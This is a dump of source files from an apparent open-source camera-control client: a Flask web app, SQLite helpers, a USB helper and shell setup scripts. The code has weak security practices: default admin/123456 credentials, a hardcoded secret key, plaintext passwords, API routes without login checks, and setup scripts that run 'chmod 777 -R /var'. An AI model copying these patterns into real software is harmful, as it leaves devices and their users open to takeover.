\"SELECT shttercount FROM Camera\"\n result = cur.execute(sql)\n data = result.fetchone()\n logger.debug(data)\n con.close()\n return data\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n return data\n\n\n# ------------------------- Detect if Table is empty or not. --------------------------\ndef detect_empty_db():\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n result = cur.execute(\"select * from Users LIMIT 1\")\n flag = result.fetchone()\n if flag:\n # Update\n flag = False\n else:\n # Insert\n flag = True\n return flag\n\n\n# -------------------------- Get username and password -------------------------------------\ndef get_user_id():\n user_data = \" \"\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n result = cur.execute(\"select username, password from Users LIMIT 1\")\n user_data = result.fetchone()\n return user_data\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n return user_data\n\n\n# -------------------------- Update username and password -------------------------------------\ndef update_user_id(username, password):\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n sql = \"UPDATE Users SET username=?, password=? WHERE id = 1\"\n cur.execute(sql, (username, password))\n con.commit()\n con.close()\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n\n\n# -------------------------- Initialize the tables -------------------------------------\ndef insert_user_id():\n username = 'admin'\n password = '123456'\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n sql = \"INSERT INTO Users(username, password) VALUES(?,?)\"\n cur.execute(sql, (username, password))\n con.commit()\n sql = \"INSERT INTO Camera(shttercount) VALUES(?)\"\n cur.execute(sql, (\" \",))\n con.commit()\n sql = \"INSERT INTO IP(token, server_addr, update_time) VALUES(?, ?, ?)\"\n cur.execute(sql, (\" \", \" \", \" \"))\n con.commit()\n con.close()\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n" }, { "alpha_fraction": 0.544513463973999, "alphanum_fraction": 0.544513463973999, "avg_line_length": 25.108108520507812, "blob_id": "443e57155c140beb809f6c14e1534fb727a6061d", "content_id": "fd02e7d670aa8bc97faeeaa9750524d7143ae944", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 966, "license_type": "permissive", "max_line_length": 116, "num_lines": 37, "path": "/Client/cliproxy/usb.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import subprocess\nimport os\nimport re\nimport stat\nfrom const import *\n\n\nMODE_WRITE = stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH\n\n\ndef chmod_usb_dev(file_path, mode):\n try:\n st = os.stat(file_path)\n os.chmod(file_path, st.st_mode | mode )\n return True\n except:\n return False\n\n\ndef camera_query():\n device_re = re.compile(\"Bus\\s+(?P<bus>\\d+)\\s+Device\\s+(?P<device>\\d+).+ID\\s(?P<id>\\w+:\\w+)\\s(?P<tag>.+)$\", re.I)\n df = subprocess.check_output(\"lsusb\", shell=True)\n devices = []\n for i in df.split('\\n'):\n if i:\n info = device_re.match(i)\n if info:\n dinfo = info.groupdict()\n dinfo['device'] = '/dev/bus/usb/%s/%s' % (dinfo.pop('bus'), dinfo.pop('device'))\n devices.append(dinfo)\n\n for d in devices:\n if d['id'] == NIKON_CAMERA_ID:\n chmod_usb_dev(file_path=d['device'], mode=MODE_WRITE)\n return True\n\n return False\n" }, { "alpha_fraction": 0.6528497338294983, "alphanum_fraction": 0.6563040018081665, "avg_line_length": 22.285715103149414, "blob_id": "2df9efea5811bbc2b4a7cb2a1cd83112f2a8d7a0", "content_id": "4d85b06178699466882a5d3154c47227657f4df4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1158, "license_type": "permissive", "max_line_length": 81, "num_lines": 49, "path": "/Client/README.md", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "# Setup Client App\n\nYou must login system as root. \n\n## Debian\n\nInstallation\n============\n### To deploy the Client App on device, use git to \"clone\" the Github repository.\n \n cd /\n git clone https://github.com/ceecam/IIC-Client\n \n### To install development environment, run setup_flask.sh file.\n \n apt-get install tofrodos\n ln -s /usr/bin/fromdos /usr/bin/dos2unix\n cd /IIC-Client/Client/Startup_App_debian\n dos2unix setup_flask.sh\n sh setup_flask.sh\n \n### Start servers.\n \n service nginx restart\n service uwsgi restart\n /etc/init.d/ceeproxy_service.sh start\n \n \n## Arch Linux\n\nInstallation\n============\n### To deploy the Client App on device, use git to \"clone\" the Github repository.\n \n pacman -S git\n cd /\n git clone https://github.com/ceecam/IIC-Client \n\n### To install development environment, run setup_flask.sh file.\n\n cd /IIC-Client/Client/Startup_App_Arch\n pacman -S dos2unix\n dos2unix setup_flask.sh\n sh setup_flask.sh\n \n### Start servers.\n systemctl restart nginx.service \n systemctl restart uwsgi.service\n systemctl start ceeproxy.service \n\n \n\n \n " }, { "alpha_fraction": 0.7798110842704773, "alphanum_fraction": 0.8004722595214844, "avg_line_length": 31.596153259277344, "blob_id": "5b279c5ad3ff6ea5bfe88210a9c49049e4f6bf7d", "content_id": "ba52d389bec1ccd16b0563540f34827a8f52dacc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1694, "license_type": "permissive", "max_line_length": 92, "num_lines": 52, "path": "/Client/Startup_App_debian/setup_flask.sh", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "#!/bin/bash\nchmod 777 -R /IIC-Client\napt-get install python\napt-get install build-essential\napt-get install python-dev python-pip\napt-get install requests sqlite python-sqlite\napt-get install daemon\npip install python-daemon\npip install netifaces\npip install exifread\napt-get install python-flask\napt-get install swig sqlite\npip install flask\napt-get install nginx uwsgi uwsgi-plugin-python\nmkdir -p /camera/imgCap/single\nmkdir -p /camera/imgCap/hdr3\nmkdir -p /camera/imgCap/hdr5\nchmod 777 -R /camera\nchmod 777 -R /var\ncd /tmp/\ntouch Client.sock\nchown www-data Client.sock\ncd /etc/nginx/sites-available\nrm default\ncp /IIC-Client/Client/Startup_App_debian/Client.conf /etc/nginx/sites-available/Client.conf\nln -s /etc/nginx/sites-available/Client.conf /etc/nginx/sites-enabled/Client.conf\ncp /IIC-Client/Client/Startup_App_debian/Client.ini /etc/uwsgi/apps-available/Client.ini\nln -s /etc/uwsgi/apps-available/Client.ini /etc/uwsgi/apps-enabled/Client.ini\ncd /IIC-Client/Client/Startup_App_debian\ndos2unix ceeproxy_service.sh\ncp /IIC-Client/Client/Startup_App_debian/ceeproxy_service.sh /etc/init.d/ceeproxy_service.sh\ncd /etc/init.d\nchmod +x ceeproxy_service.sh\nupdate-rc.d ceeproxy_service.sh defaults\ncd /IIC-Client/Client\nsqlite3 Client.db < schema.sql\nchmod 777 Client.db\ncd\napt-get install libltdl-dev libusb-dev libusb-1.0 libexif-dev libpopt-dev\nwget http://downloads.sourceforge.net/project/gphoto/libgphoto/2.5.7/libgphoto2-2.5.7.tar.gz\ntar -xvzf libgphoto2-2.5.7.tar.gz\ncd libgphoto2-2.5.7\n./configure\nmake\nmake install\ncd\ngit clone https://github.com/jim-easterbrook/python-gphoto2.git\ncd python-gphoto2\npython setup.py build_swig\npython setup.py build\npython setup.py install\nreboot" }, { "alpha_fraction": 0.7200000286102295, "alphanum_fraction": 0.7279999852180481, "avg_line_length": 16.85714340209961, "blob_id": "fca5869b64b6ce250e3a7bc2f0035ab513421505", "content_id": "1bcd6703891131c0153114e52ea8db47d17fa1a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 125, "license_type": "permissive", "max_line_length": 26, "num_lines": 7, "path": "/Client/Startup_App_debian/Client.ini", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "[uwsgi]\nvhost = true\nsocket = /tmp/Client.sock\nplugin = python2\nchdir = /IIC-Client/Client\nmodule = flask_app\ncallable = app\n" }, { "alpha_fraction": 0.6549520492553711, "alphanum_fraction": 0.7092651724815369, "avg_line_length": 21.35714340209961, "blob_id": "067b03a1a939cfa6d5885f0a043895f828763fea", "content_id": "5685fb92da17d91329efeb03ff59201f195e1760", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 313, "license_type": "permissive", "max_line_length": 40, "num_lines": 14, "path": "/Client/cliproxy/const.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "PROGID = \"CeeProxy\"\nLOG_FILE = '/tmp/ceeproxy.log'\n\nSERVER_LOGIN_URL = \"/api/client/login\"\nSERVER_LOGOUT_URL = \"/api/client/logout\"\n\nSERVER_PULL_URL = \"/api/client/pull\"\nSERVER_PUSH_URL = \"/api/client/push\"\n\nNIKON_CAMERA_VID = 0x04B0\nNIKON_CAMERA_PID = 0x042F\nNIKON_CAMERA_ID = '04b0:042f'\n\nEVENT_QUEUE_MAX = 100\n" }, { "alpha_fraction": 0.5680038928985596, "alphanum_fraction": 0.5743764042854309, "avg_line_length": 25.490354537963867, "blob_id": "c5f136495aab9c732f5a844465afee23ada6db17", "content_id": "c871770c04c62188ac840d937bec27fab1a7a61b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16477, "license_type": "permissive", "max_line_length": 151, "num_lines": 622, "path": "/Client/flask_app.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, redirect,flash\nfrom functools import wraps\nfrom main.camera import *\nfrom flask import request, url_for, session\nfrom main.views import *\nfrom main.logger import *\nimport json\nimport sqlite3\nimport logging\nimport base64\n\napp = Flask(__name__, static_url_path='/static')\napp.secret_key = \"super secret key\"\nlogger.addHandler(get_memory_log_handler())\n\n\ndef login_required(f):\n \"\"\"\n Decorator for logged_in\n :param f:\n :return: f(*args, **kwargs)\n \"\"\"\n @wraps(f)\n def wrap(*args, **kwargs):\n if 'logged_in' in session:\n return f(*args, **kwargs)\n else:\n flash('Please log in first.', 'error')\n return redirect(url_for('login'))\n return wrap\n\n\ndef get_json_file_data(file_path, file_name):\n \"\"\"\n Making json file for sending data to Server APP.\n :param file_path:\n :param file_name:\n :return:\n \"\"\"\n file_one_path = file_path + file_name\n statinfo = os.stat(file_one_path)\n date_string = time.strftime(\"%Y-%m-%d-%H.%M\")\n if 'jpg' in file_name:\n file_name = 'img-' + date_string + '.jpg'\n elif 'hdr3' in file_name:\n file_name = 'hdr3-' + date_string + '.tar.gz'\n elif 'hdr5' in file_name:\n file_name = 'hdr5-' + date_string + '.tar.gz'\n try:\n with open(file_one_path, \"rb\") as image_file:\n encoded_string = base64.b64encode(image_file.read())\n json_data = json.dumps({'filename': file_name, 'size': statinfo.st_size, 'content': encoded_string})\n logger.debug('json file')\n return json_data\n except Exception as e:\n return json.dumps({})\n\n\[email protected]('/login', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n Log in page\n :return: render_template('Login.html', error=error)\n \"\"\"\n error = None\n logger.debug(detect_empty_db())\n if detect_empty_db():\n insert_user_id()\n user_data = get_user_id()\n username = user_data[0]\n password = user_data[1]\n\n if request.method == 'POST':\n if request.form['username'].strip() != username or request.form['password'] != password:\n error = 'Invalid Credentials. Please try again.'\n logger.error(\"Invalid Credentials\")\n else:\n session['logged_in'] = username\n logger.debug(\"%s Login OK!\" % username)\n return redirect(url_for('main'))\n\n return render_template('Login.html', error=error)\n\n\[email protected]('/logout')\ndef logout():\n \"\"\"\n log out page\n :return: redirect(url_for('login'))\n \"\"\"\n username = session['logged_in']\n session.clear()\n flash(\"You have been logged out!\")\n logger.debug(\"%s Logout OK!\" % username)\n return redirect(url_for('login'))\n\n\[email protected]('/')\n@login_required\ndef main():\n \"\"\"\n Display Main Page.\n :return: render_template('Main.html', name=name)\n \"\"\"\n name = session['logged_in']\n return render_template('Network_settings.html', name=name)\n\n\[email protected]('/Network_Settings')\n@login_required\ndef network_setting():\n \"\"\"\n Display Network Settings Page.\n :return: render_template('Network_settings.html', name=name)\n \"\"\"\n logger.info(\"GET DNS[1] OK!\")\n name = session['logged_in']\n return render_template('Network_settings.html', name=name)\n\n\[email protected]('/Remote_Communication')\n@login_required\ndef remote_communication():\n \"\"\"\n Display Remote Communications Page.\n :return: render_template('Remote_communication.html', name=name)\n \"\"\"\n name = session['logged_in']\n return render_template('Remote_communication.html', name=name)\n\n\[email protected]('/Camera_Config')\n@login_required\ndef camera_config():\n \"\"\"\n Display Camera Config Page.\n :return: render_template('Camera_Config.html', name=name)\n \"\"\"\n name = session['logged_in']\n return render_template('Camera_Config.html', name=name)\n\n\[email protected]('/System_Settings')\n@login_required\ndef system_config():\n \"\"\"\n Display System Settings.\n :return: render_template('System_settings.html', name=name)\n \"\"\"\n name = session['logged_in']\n return render_template('System_settings.html', name=name)\n\n\[email protected]('/Log/<option>')\n@login_required\ndef log_option(option):\n \"\"\"\n Display Log Page depending on 'App' or 'Sys'.\n :param option:\n :return:\n \"\"\"\n name = session['logged_in']\n if option == 'App':\n return render_template('Log_App.html', name=name)\n\n elif option == 'Sys':\n return render_template('Log_Sys.html', name=name)\n\n\[email protected]('/api/log/<option>')\n@login_required\ndef read_logs(option):\n \"\"\"\n Get the Log datas from log file.\n :param option:\n :return:\n \"\"\"\n if option == 'App' or option == 'Sys':\n log_content = get_log_data(option)\n logger.debug(\"READ %s LOG OK!\" % option)\n return log_content\n\n elif option == 'Clearapp':\n msg = clear_log_data()\n logger.debug(\"Clear APP Log %s\" % msg)\n return msg\n\n elif option == 'Clearsys':\n msg = clear_log_sys()\n logger.debug(\"Clear SYS Log %s\" % msg)\n return msg\n\n else:\n logger.error(\"No FOUND API\")\n\n\[email protected]('/api/get/log')\ndef get_device_logs():\n \"\"\"\n Get Log and send Log to server\n :return:\n \"\"\"\n logger.debug(\"READ AppLog\")\n code =0\n try:\n log_content = get_log_data('App')\n logger.debug(\"READ App LOG OK!\")\n logger.debug(log_content)\n return log_content\n\n except Exception as e:\n logger.debug(e.message)\n code = 1\n ret = {\n 'status': code,\n }\n return json.dumps(ret)\n\n\[email protected]('/api/sys/summary')\ndef get_system_summary():\n \"\"\"\n Get the System Summary\n :return: json_data\n \"\"\"\n logger.debug(\"ok\")\n host = Get_Setting()\n # --------- Get DNS server IP. ------------\n nameservers = host.get_dns()\n\n if len(nameservers) == 1:\n dns_1 = nameservers[0]\n dns_2 = \"None Set\"\n logger.debug(\"GET DNS[1] OK!\")\n elif len(nameservers) >= 2:\n dns_1 = nameservers[0]\n dns_2 = nameservers[1]\n logger.debug(\"GET DNS[1],[2] OK!\")\n else:\n logger.error(\"None DNS\")\n # ----------Get IP mode------------------\n ip_mode = host.get_mode()\n if ip_mode is None:\n logger.debug(\"GET IP MODE OK!\")\n else:\n logger.error(\"None IP MODE\")\n # ----------Get Server address------------\n server_addr = host.get_server_addr()\n\n if server_addr:\n logger.debug(\"GET SERVER ADDRESS OK!\")\n else:\n logger.error(\"None SERVER ADDRESS\")\n\n # ---------- Get Timedate ----------------\n timedate = host.get_time()\n if timedate is None:\n logger.error(\"None Time\")\n else:\n logger.debug('GET Time OK!')\n # ---------- Get token -------------------\n token = host.get_token()\n if token is None:\n logger.error(\"None TOKEN\")\n else:\n logger.debug('GET TOKEN OK!')\n # ----------Get shuttercount -----------\n\n json_data = json.dumps({'device_ip': host.ipaddress, 'device_subnetmask': host.subnet, 'server_addr': server_addr, 'device_gateway': host.gateways,\n 'dns_1': dns_1, 'dns_2': dns_2, 'hostname': host.hostname, 'mac': host.mac,\n 'version': host.os_ver, 'os': host.os, 'token': token, 'device_ipmode': ip_mode, 'time': timedate})\n\n logger.debug(\"SEND IP JSON OK!\")\n\n return json_data\n\n\n# --------------------------------- Update the Ip settings to DB --------------------------------\[email protected]('/api/sys/update', methods=[\"POST\"])\n@login_required\ndef update_system_summary():\n \"\"\"\n Update the Ip settings to DB\n :return:\n \"\"\"\n update = Update_Setting()\n hostname = request.form['hostname']\n ip_mode = request.form['ip_mode']\n subnet_mask = request.form['subnet_mask']\n gateway = request.form['gateway']\n if hostname is None:\n logger.error(\"HOSTNAME IS EMPTY\")\n return \"error\"\n else:\n if ip_mode == \"Static\":\n dns_1 = request.form['dns1']\n dns_2 = request.form['dns2']\n ip_address = request.form['ip_address']\n mask = request.form['subnet_mask']\n gateway = request.form[\"gateway\"]\n update.update_host(hostname)\n update.dns(dns_1, dns_2)\n update.static(ip_address, mask, gateway)\n else:\n update.update_host(hostname)\n update.dhcp()\n return \"Success\"\n\n\n# TODO -------send token to Server when generate token-----------------\[email protected]('/api/sys/update_token')\ndef update_device_token():\n \"\"\"\n Update Setup-token to DB\n :return: token\n \"\"\"\n update = Update_Setting()\n token = update.generate_token()\n\n if token is None:\n logger.error(\"No UPDATE TOKEN\")\n else:\n logger.debug(\"UPDATE TOKEN OK!\")\n\n return token\n\n\[email protected]('/api/sys/update_server', methods=[\"POST\"])\ndef update_device_server():\n \"\"\"\n Update server_addr to DB\n :return: \"success\"\n \"\"\"\n server_addr = request.form[\"server\"]\n token = request.form[\"token\"]\n\n if server_addr is None:\n logger.error(\"SERVER ADDRESS EMPTY\")\n return \"error\"\n else:\n try:\n update_ip(token, server_addr)\n logger.debug(\"UPDATE SERVER ADDRESS OK!\")\n host = Get_Setting()\n\n if not host.push_token(server_addr, token):\n logger.debug(\"PUSH TOKEN FAILED\")\n return \"push token failed\"\n except sqlite3.Error as e:\n logger.error(e.message)\n return \"error\"\n return \"success\"\n\n\[email protected]('/api/sys/update_setting', methods=[\"POST\"])\ndef update_sys_setting():\n \"\"\"\n Update new password to DB\n :return: \"success\" or \"error\"\n \"\"\"\n update = Update_Setting()\n password_0 = request.form[\"password_0\"]\n password_1 = request.form[\"password_1\"]\n date_time = request.form[\"date_time\"]\n # update.set_time(str(date_time))\n # logger.debug(\"CHANGE DATETIME OK!\")\n\n if password_0 is None or password_1 is None:\n logger.error(\"NEW PASSWORD EMPTY\")\n return \"INVALID PASSWORD\"\n else:\n username = session['logged_in']\n if password_0 == password_1:\n update_user_id(username, password_0)\n logger.debug(\"CHANGE PASSWORD OK!\")\n return \"success\"\n\n else:\n logger.error(\"PASSWORD no MATCH\")\n return \"error\"\n\n\n# =========================== About CAMERA =================================\[email protected]('/api/control/summary')\ndef get_camera_summary():\n \"\"\"\n Get Camera Setting\n :return: json_data\n \"\"\"\n data = ''\n try:\n camera = MyCamera()\n camera.open()\n json_data = camera.get_summary()\n camera.close()\n shutter_count = get_shuttercount()\n json_data[0]['shutter_count'] = shutter_count\n data = json.dumps(json_data)\n logger.debug(\"JSON DATA OK!\")\n except Exception as e:\n logger.error(e.message)\n return data\n\n\[email protected]('/api/control/<configField>')\ndef get_configfield_value(configField):\n \"\"\"\n Get [configValue] for that [configField]\n :param configField:\n :return: 'configField = %s, configValue = %s' % (configField, config_value)\n \"\"\"\n code = 0\n\n try:\n camera = MyCamera()\n camera.open()\n config_value = camera.get_config_value(configField)\n camera.close()\n logger.debug(\"GET VALUE of [%s] OK!\" % configField)\n except Exception as e:\n logger.error(e.message)\n code = 1\n\n ret = {\n 'status': code,\n 'config-field': configField,\n 'config-value': config_value\n }\n\n return json.dumps(ret)\n\n\[email protected]('/api/control/<configField>/<configValue>')\ndef set_configfield_value(configField, configValue):\n \"\"\"\n Get [configValue] for that [configField]\n :param configField:\n :param configValue:\n :return: \"Successful: Set configField = %s, configValue = %s\" % (configField, configValue)\n \"\"\"\n code = 0\n try:\n camera = MyCamera()\n camera.open()\n camera.set_config_value(configField, configValue)\n camera.close()\n logger.debug(\"SET VALUE [{}] of [{}] OK!\".format(configValue, configField))\n\n except Exception as e:\n logger.debug('set_configfield_value {}'.format(e.message))\n code = 1\n\n ret = {\n 'status': code,\n 'config-field': configField,\n 'config-value': configValue\n }\n\n return json.dumps(ret)\n\n\[email protected]('/api/control/config', methods=[\"POST\"])\ndef set_control_config():\n \"\"\"\n Set camera setting from Server.\n :return: code\n \"\"\"\n try:\n data = request.get_json()\n camera = MyCamera()\n camera.set_camera_setting(data)\n code = 0\n except Exception as e:\n code = 1\n\n ret = {\n 'status': code\n }\n\n return json.dumps(ret)\n\n\[email protected]('/api/camera/reset')\ndef set_camera_default():\n \"\"\"\n Reset Camera default setting.\n :return:\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n msg = camera.reset_setting()\n camera.close()\n logger.debug(\"RESET CAMERA SETTING OK!\")\n return msg\n except Exception as e:\n logger.error(e.message)\n return \"error\"\n\n\[email protected]('/api/imgcap/single')\ndef get_imgcap_single():\n \"\"\"\n Get single image (Client)\n :return: filepath + 'capt0000.jpg'\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_single()\n camera.close()\n logger.debug(\"SINGLE IMAGE CAPTURE OK!\")\n if filepath == 'error':\n return \"error\"\n else:\n return filepath + 'capt0000.jpg'\n\n except Exception as e:\n logger.error(e.message)\n return \"Capture failed\"\n\n\[email protected]('/sapi/imgcap/single')\ndef sapi_imgcap_single():\n \"\"\"\n Get single image (Server)\n :return: get_json_file_data(file_path=filepath, file_name='capt0000.jpg')\n \"\"\"\n filepath = \"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_single()\n camera.close()\n logger.debug(\"SERVER: SINGLE IMAGE CAPTURE OK!\")\n return get_json_file_data(file_path=filepath, file_name='capt0000.jpg')\n\n except Exception as e:\n logger.error(e.message)\n return json.dumps({'filename': '', 'size': 0, 'content': {}})\n\n\[email protected]('/api/imgcap/hdr3')\ndef get_imgcap_hdr3():\n \"\"\"\n Get hdr3 image (Client)\n :return: filepath + 'hdr3.tar.gz'\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_hdr3()\n camera.close()\n logger.debug(\"HDR3 CPATURE OK!\")\n return filepath + 'hdr3.tar.gz'\n\n except Exception as e:\n logger.error(e.message)\n return \"error\"\n\n\[email protected]('/sapi/imgcap/hdr3')\ndef sapi_imgcap_hdr3():\n \"\"\"\n Get hdr3 image (Server)\n :return: get_json_file_data(file_path=filepath, file_name='hdr3.tar.gz')\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_hdr3()\n camera.close()\n logger.debug(\"SERVER:HDR3 CPATURE OK!\")\n return get_json_file_data(file_path=filepath, file_name='hdr3.tar.gz')\n\n except Exception as e:\n logger.error(e.message)\n return json.dumps({'filename': '', 'size': 0, 'content': {}})\n\n\[email protected]('/api/imgcap/hdr5')\ndef get_imgcap_hdr5():\n \"\"\"\n Get hdr5 image (Client)\n :return: filepath + 'hdr5.tar.gz'\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_hdr5()\n camera.close()\n logger.debug(\"HDR5 CAPTURE OK!\")\n return filepath + 'hdr5.tar.gz'\n\n except Exception as e:\n logger.error(e.message)\n return \"Capture failed\"\n\n\[email protected]('/sapi/imgcap/hdr5')\ndef sapi_imgcap_hdr5():\n\n \"\"\"\n Get hdr5 image(Server)\n :return: get_json_file_data(file_path=filepath, file_name='hdr5.tar.gz')\n \"\"\"\n try:\n camera = MyCamera()\n camera.open()\n filepath = camera.capture_hdr5()\n camera.close()\n logger.debug(\"SERVER:HDR5 CAPTURE OK!\")\n return get_json_file_data(file_path=filepath, file_name='hdr5.tar.gz')\n\n except Exception as e:\n logger.error(e.message)\n return json.dumps({'filename': '', 'size': 0, 'content': {}})\n\n\nif __name__ == '__main__':\n app.debug = False\n app.run(host='0.0.0.0')\n" }, { "alpha_fraction": 0.770531415939331, "alphanum_fraction": 0.7987117767333984, "avg_line_length": 30.075000762939453, "blob_id": "3a52e65c2e40990f9619d9a071c0cb18c535caad", "content_id": "bf10c91e3807e7439e167a8fc64799ebe72dfcc0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1242, "license_type": "permissive", "max_line_length": 92, "num_lines": 40, "path": "/Client/Startup_App_Arch/setup_flask.sh", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "#!/bin/bash\npacman -Syu nginx uwsgi python2-flask sqlite\npacman -Syu uwsgi-plugin-python\nmkdir -p /camera/imgCap/single\nmkdir -p /camera/imgCap/hdr3\nmkdir -p /camera/imgCap/hdr5\nchmod 777 -R /camera\nchmod 777 -R /var\nchmod 777 -R /IIC-Client\npacman -S python-dev python-pip\npacman -S requests\npacman -S build-essential\npip install flask\npip install exifread\npip install netifaces\npacman -S daemon\npip install python-daemon\npacman -S swig\ncp /IIC-Client/Client/Startup_App_Arch/uwsgi.service /etc/systemd/system/uwsgi.service\ncp /IIC-Client/Client/Startup_App_Arch/nginx.conf /etc/nginx/nginx.conf\ncp /IIC-Client/Client/Startup_App_Arch/ceeproxy.service /etc/systemd/system/ceeproxy.service\nsystemctl enable ceeproxy.service\nsystemctl enable uwsgi.service\ncd /IIC-Client/Client\nsqlite3 Client.db < schema.sql\nchmod 777 Client.db\ncd\npacman -S libltdl-dev libusb-dev libusb-1.0 libexif-dev libpopt-dev\nwget http://downloads.sourceforge.net/project/gphoto/libgphoto/2.5.7/libgphoto2-2.5.7.tar.gz\ntar -xvzf libgphoto2-2.5.7.tar.gz\ncd libgphoto2-2.5.7\n./configure\nmake\nsudo make install\ngit clone https://github.com/jim-easterbrook/python-gphoto2.git\ncd python-gphoto2\npython setup.py build_swig\npython setup.py build\npython setup.py install\nreboot" }, { "alpha_fraction": 0.5561403632164001, "alphanum_fraction": 0.5561403632164001, "avg_line_length": 26.190475463867188, "blob_id": "d0c5a9a111e2cb7da47654299f17f0cd2e2810d9", "content_id": "ca24e064984e9b4e4a1523b2aa1ee0f3ea8a0940", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 570, "license_type": "permissive", "max_line_length": 82, "num_lines": 21, "path": "/Client/templates/Main.html", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "{% extends \"Base_template.html\" %}\n{% block name %}{{ name }}{% endblock %}\n{% block title %}Dashboard{% endblock %}\n{% block logpage %}\n <ul class=\"nav nav-second-level collapse\" style=\"height: auto;\" id=\"log_level\">\n <li id=\"log_app\">\n <a href=\"/Log/App\">Application Page</a>\n </li>\n <li id=\"log_sys\">\n <a href=\"/Log/Sys\">System Page</a>\n </li>\n </ul>\n{% endblock %}\n{% block content %}\n{% endblock %}\n{% block script %}\n <script type=\"text/javascript\">\n $('#dashboard').addClass('selected');\n\n </script>\n{% endblock %}" }, { "alpha_fraction": 0.5037320256233215, "alphanum_fraction": 0.5116512179374695, "avg_line_length": 26.883249282836914, "blob_id": "5d9fd2c9a0bd50a256239c38aa9701d1b7e42dc7", "content_id": "5822701e26778c10ca67ed96dd6d0514d18c0cf8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10986, "license_type": "permissive", "max_line_length": 117, "num_lines": 394, "path": "/Client/cliproxy/ceeproxy.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\"\"\"\nhttps://pypi.python.org/pypi/python-daemon/\nhttp://web.archive.org/web/20131017130434/http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/\n\nclient API\n\nThe api should allow for the configuration of the device camera settings and allow for\nimage capture, and to get system summary information for ip address, ip settings, etc\n\nProposed API structure:\n\n/api/imgcap/single --- return single image\n/api/imgcap/hdr3 --- return HDR3 tar,g archive\n/api/imgcap/hdr5 --- return HDR5 tar,g archive\n\n/api/control/summary --- return gphoto2 summary\n/api/contorl/[configfField] --- return [configValue] for that [configField]\n/api/control/[configfField]/[configValue] --- set [configValue] for that [configField]\n\n/api/sys/summary --- get system summary\n/api/sys/status --- get system status or fault code\n\n\nserver API\n\nproxy API url\n\n/api/client/pull\n{\n \"token\": \"123454\",\n \"timestamp\": \"123454\",\n \"deviceid\": \"deviceid\",\n \"api\": \"/api/imgcap/single\",\n}\n\n/api/client/push\n{\n \"token\": \"123454\",\n \"timestamp\": \"123454\",\n \"response\": {\n\n }\n}\n\n\n\"\"\"\n\nimport requests\nimport httplib\nimport Queue as queue\nimport thread\nimport threading\nimport json\nimport daemon\nfrom time import sleep\n\nfrom usb import *\nfrom config import *\nfrom utils import *\n\n# DEVICE_ID = \"\"\n\n# SERVER_API_KEY = \"\"\nSERVER_PORT = 80\n\nSERVER_TOKEN_LEN = 10\n\nCLIENT_ADDR = \"127.0.0.1\"\nCLIENT_PORT = 80\n\nCLIENT_API_URLS = [\n \"/api/empty\",\n \"/api/imgcap/single\",\n \"/api/imgcap/hdr3\",\n \"/api/imgcap/hdr5\",\n\n \"/api/control/summary\",\n \"/api/control/[configfField]\",\n \"/api/control/[configfField]/[configValue]\",\n\n \"/api/sys/summary\",\n \"/api/sys/status\",\n]\n\nDB_NAME = \"Client.db\"\nlogging.getLogger(\"requests\").setLevel(logging.WARNING)\n\n\nclass CeeProxy(object):\n\n server_addr = \"\"\n server_port = SERVER_PORT\n client_addr = \"\"\n client_port = CLIENT_PORT\n device_id = \"\"\n\n pull_q = queue.Queue(EVENT_QUEUE_MAX)\n push_q = queue.Queue(EVENT_QUEUE_MAX)\n pending_event = threading.Event()\n camera_exists = False\n\n @staticmethod\n def get_api_url(api):\n \"\"\"\n login to Server's API\n :return:\n \"\"\"\n return \"http://{0}:{1}/{2}/{3}/\".format(\n str(CeeProxy.server_addr),\n str(CeeProxy.server_port),\n api,\n CeeProxy.device_id\n )\n\n @staticmethod\n def login():\n \"\"\"\n login to Server's API\n :return:\n \"\"\"\n logger.info('login')\n url = CeeProxy.get_api_url(SERVER_LOGIN_URL)\n\n while True:\n try:\n login = requests.get(url)\n if login.status_code == httplib.OK:\n logger.info(\"login 